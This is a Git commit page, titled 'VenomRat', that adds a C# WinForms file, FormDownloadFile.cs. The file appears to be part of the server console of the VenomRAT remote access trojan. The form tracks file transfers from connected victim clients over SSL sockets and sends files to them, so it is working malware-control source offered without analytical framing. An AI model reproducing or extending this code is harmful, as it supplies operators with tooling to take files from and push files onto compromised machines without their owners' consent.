VenomRat
This commit is contained in:
198
Forms/FormDownloadFile.cs
Normal file
198
Forms/FormDownloadFile.cs
Normal file
@@ -0,0 +1,198 @@
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Net.Sockets;
|
||||
using System.Windows.Forms;
|
||||
using DevExpress.XtraEditors;
|
||||
using Server.Connection;
|
||||
using Server.Helper;
|
||||
|
||||
namespace Server.Forms;
|
||||
|
||||
public class FormDownloadFile : XtraForm
|
||||
{
|
||||
public long FileSize;
|
||||
|
||||
private long BytesSent;
|
||||
|
||||
public string FullFileName;
|
||||
|
||||
public string ClientFullFileName;
|
||||
|
||||
private bool IsUpload;
|
||||
|
||||
public string DirPath;
|
||||
|
||||
private IContainer components;
|
||||
|
||||
public Timer timer1;
|
||||
|
||||
public Label labelsize;
|
||||
|
||||
private Label label3;
|
||||
|
||||
public Label labelfile;
|
||||
|
||||
public Label label1;
|
||||
|
||||
public FormMain F { get; set; }
|
||||
|
||||
internal Clients Client { get; set; }
|
||||
|
||||
public FormDownloadFile()
|
||||
{
|
||||
InitializeComponent();
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (FileSize >= int.MaxValue)
|
||||
{
|
||||
timer1.Stop();
|
||||
MessageBox.Show("Don't support files larger than 2GB.");
|
||||
Dispose();
|
||||
}
|
||||
else if (!IsUpload)
|
||||
{
|
||||
labelsize.Text = Methods.BytesToString(FileSize) + " \\ " + Methods.BytesToString(Client.BytesRecevied);
|
||||
if (Client.BytesRecevied >= FileSize)
|
||||
{
|
||||
labelsize.Text = "Downloaded";
|
||||
labelsize.ForeColor = Color.Green;
|
||||
timer1.Stop();
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
labelsize.Text = Methods.BytesToString(FileSize) + " \\ " + Methods.BytesToString(BytesSent);
|
||||
if (BytesSent >= FileSize)
|
||||
{
|
||||
labelsize.Text = "Uploaded";
|
||||
labelsize.ForeColor = Color.Green;
|
||||
timer1.Stop();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void SocketDownload_FormClosed(object sender, FormClosedEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
Client?.Disconnected();
|
||||
timer1?.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
public void Send(object obj)
|
||||
{
|
||||
lock (Client.SendSync)
|
||||
{
|
||||
try
|
||||
{
|
||||
IsUpload = true;
|
||||
byte[] obj2 = (byte[])obj;
|
||||
byte[] bytes = BitConverter.GetBytes(obj2.Length);
|
||||
Client.TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||
Client.SslClient.Write(bytes, 0, bytes.Length);
|
||||
using (MemoryStream memoryStream = new MemoryStream(obj2))
|
||||
{
|
||||
int num = 0;
|
||||
memoryStream.Position = 0L;
|
||||
byte[] array = new byte[50000];
|
||||
while ((num = memoryStream.Read(array, 0, array.Length)) > 0)
|
||||
{
|
||||
Client.TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||
Client.SslClient.Write(array, 0, num);
|
||||
BytesSent += num;
|
||||
}
|
||||
}
|
||||
Program.mainform.BeginInvoke((MethodInvoker)delegate
|
||||
{
|
||||
Close();
|
||||
});
|
||||
}
|
||||
catch
|
||||
{
|
||||
Client?.Disconnected();
|
||||
Program.mainform.BeginInvoke((MethodInvoker)delegate
|
||||
{
|
||||
labelsize.Text = "Error";
|
||||
labelsize.ForeColor = Color.Red;
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && components != null)
|
||||
{
|
||||
components.Dispose();
|
||||
}
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = new System.ComponentModel.Container();
|
||||
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormDownloadFile));
|
||||
this.label1 = new System.Windows.Forms.Label();
|
||||
this.timer1 = new System.Windows.Forms.Timer(this.components);
|
||||
this.labelsize = new System.Windows.Forms.Label();
|
||||
this.label3 = new System.Windows.Forms.Label();
|
||||
this.labelfile = new System.Windows.Forms.Label();
|
||||
base.SuspendLayout();
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Location = new System.Drawing.Point(9, 73);
|
||||
this.label1.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new System.Drawing.Size(76, 16);
|
||||
this.label1.TabIndex = 0;
|
||||
this.label1.Text = "Downloaad:";
|
||||
this.timer1.Interval = 1000;
|
||||
this.timer1.Tick += new System.EventHandler(timer1_Tick);
|
||||
this.labelsize.AutoSize = true;
|
||||
this.labelsize.Location = new System.Drawing.Point(80, 73);
|
||||
this.labelsize.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
|
||||
this.labelsize.Name = "labelsize";
|
||||
this.labelsize.Size = new System.Drawing.Size(16, 16);
|
||||
this.labelsize.TabIndex = 0;
|
||||
this.labelsize.Text = "..";
|
||||
this.label3.AutoSize = true;
|
||||
this.label3.Location = new System.Drawing.Point(9, 31);
|
||||
this.label3.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
|
||||
this.label3.Name = "label3";
|
||||
this.label3.Size = new System.Drawing.Size(33, 16);
|
||||
this.label3.TabIndex = 0;
|
||||
this.label3.Text = "File:";
|
||||
this.labelfile.AutoSize = true;
|
||||
this.labelfile.Location = new System.Drawing.Point(80, 31);
|
||||
this.labelfile.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
|
||||
this.labelfile.Name = "labelfile";
|
||||
this.labelfile.Size = new System.Drawing.Size(16, 16);
|
||||
this.labelfile.TabIndex = 0;
|
||||
this.labelfile.Text = "..";
|
||||
base.AutoScaleDimensions = new System.Drawing.SizeF(7f, 16f);
|
||||
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||
base.ClientSize = new System.Drawing.Size(478, 122);
|
||||
base.Controls.Add(this.labelfile);
|
||||
base.Controls.Add(this.labelsize);
|
||||
base.Controls.Add(this.label3);
|
||||
base.Controls.Add(this.label1);
|
||||
base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
|
||||
base.IconOptions.Icon = (System.Drawing.Icon)resources.GetObject("FormDownloadFile.IconOptions.Icon");
|
||||
base.IconOptions.Image = (System.Drawing.Image)resources.GetObject("FormDownloadFile.IconOptions.Image");
|
||||
base.Margin = new System.Windows.Forms.Padding(2);
|
||||
base.MaximizeBox = false;
|
||||
base.MinimizeBox = false;
|
||||
base.Name = "FormDownloadFile";
|
||||
this.Text = "Download";
|
||||
base.FormClosed += new System.Windows.Forms.FormClosedEventHandler(SocketDownload_FormClosed);
|
||||
base.ResumeLayout(false);
|
||||
base.PerformLayout();
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user